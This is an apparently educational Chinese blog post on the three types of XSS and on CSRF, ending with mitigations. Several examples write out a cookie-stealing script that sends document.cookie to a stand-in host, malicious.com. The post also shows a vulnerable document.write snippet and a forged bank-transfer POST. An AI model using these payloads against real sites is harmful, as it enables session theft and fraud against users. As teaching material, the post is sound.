有关反射型 XSS 的疑问
学习 XSS (Cross-Site Scripting,跨站脚本攻击) 的时候可以了解到 XSS 分为三种:持久型 (type-2),反射型 (type-1) 和基于 DOM 型 (type-0) 。
在看反射型的时候,总结一下大多数帖子给出的解释:
恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方(通常是搜索框),然后脚本反射(出现)在新渲染(或者部分刷新)的页面并执行。
接下来看例子:
用户在一个不防范 XSS 的网站中搜索内容,关键字为 XXX,如果网站内包含 XXX的内容,那么该内容就会被展示出来,如果网站中不包含相关,那么可能会提示 XXX 相关内容不存在。也就是,用户的搜索内容最终都会以某种方式反射到搜索结果中。如果搜索内容为:
<script>alert(1)</script>
,那么页面就会执行这段 JavaScript 代码,也即该网站存在 XSS 漏洞。
那么问题来了:
作为不懂 JavaScript 的用户,是不可能自己在搜索框中输入恶意脚本攻击自己的。大部分网上的帖子给出的例子到以上内容为止,解释了什么是反射型 XSS,但是却没有说明如何进行攻击。我猜想是通过例如
www.example.com?search=<script>window.location='http://malicious.com/?data=' + document.cookie</script>
这样的恶意链接做到的,经历一番搜寻求证,还是在一些博客中有提及的确是这样做的(具体查看文末参考)。
XSS 小结
上文提到,XSS 可以分为三种,持久型(Persistent),反射型(Reflected),和基于 DOM 型(DOM-Based)。仔细来讲一下这三者吧。
持久型
定义
恶意脚本被攻击者上传到合法的服务器中,并在常规的页面浏览过程中返回给普通用户并被执行。
例子
攻击者在一个博客网站中的一篇博客下评论
<script>window.location='http://malicious.com/?data=' + document.cookie</script>
,恶意代码就会在所有访问这篇博客评论的用户的浏览器中执行。
反射型
定义
上文提过了,这里重复一遍: 恶意脚本本身是作为请求参数发送到站点页面存在漏洞的地方(通常是搜索框),然后脚本反射(出现)在新渲染(或者部分刷新)的页面并执行。
例子
例子就不重复,开头给出了具体的例子。不过查阅的文章中有张图很形象,这里引用一下
基于 DOM 型
定义
基于 DOM 型 XSS 其实是一种特殊的反射型 XSS,反射型 XSS 的执行过程经过了服务器端(上面的例子中向服务器发了请求),而基于 DOM 的 XSS 没有经过服务器端(恶意代码没有流经服务端),直接通过 JavaScript(并非攻击者写的恶意脚本,而是来自服务器的 DOM 操作脚本)将数据输出到 HTML 页面中。
例子
假设如下表单是让用户选择他的首选语言,默认选项作为参数提供在了 "default" 参数中。
Select your language:
<select><script>
document.write("<OPTION value=1>" + document.location.href.substring( document.location.href.indexOf("default=") + 8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>
复制代码
使用一下 URL 调用该页面
http://www.some.site/page.html?default=French
复制代码
可以通过向受害者发送以下 URL 来完成基于 DOM 的 XSS 攻击
http://www.some.site/page.html?default=<script>window.location='http://malicious.com/?data=' + document.cookie</script>
复制代码
反射型和持久型区别
最大的区别就是 XSS 恶意代码是否存储在合法服务器中,网友也有提到反射型需要欺骗用户点击链接,而持久型用户访问相关页面就直接触发。
缓解办法
根据攻击原理,可得出如下缓解办法(主要核心是第一条 —— 警惕用户输入 ):
-
验证用户输入或者做内容转义
-
对于反射型,可以提醒用户小心恶意链接(这个几乎没用。。。)或者浏览器对 URL 做识别(Chrome,Firefox都支持)
-
对于盗用 Cookie ,设置 HttpOnly 属性来保证 JavaScript 代码无法访问 cookie
XSS 延伸之 CSRF
因为都是 Cross-Site,XSS 和 CSRF 有时候一起出现尽管他们并不相同,CSRF 是 Cross-Site Request Forgery (跨站请求伪造),CSRF 攻击 通过伪装成受信任用户的请求来利用受信任的网站 ,不管使用什么方法只要是伪造用户发起的请求都可以称为 CSRF 攻击。
例子
用户访问银行的网站, 在 Session 还未过期的情况下(伪造用户身份的关键) ,访问了危险网站,危险网站执行如下代码
$.post('/www.bank.com/transfer?amt=500&transferTo=B, function(data) { } );
复制代码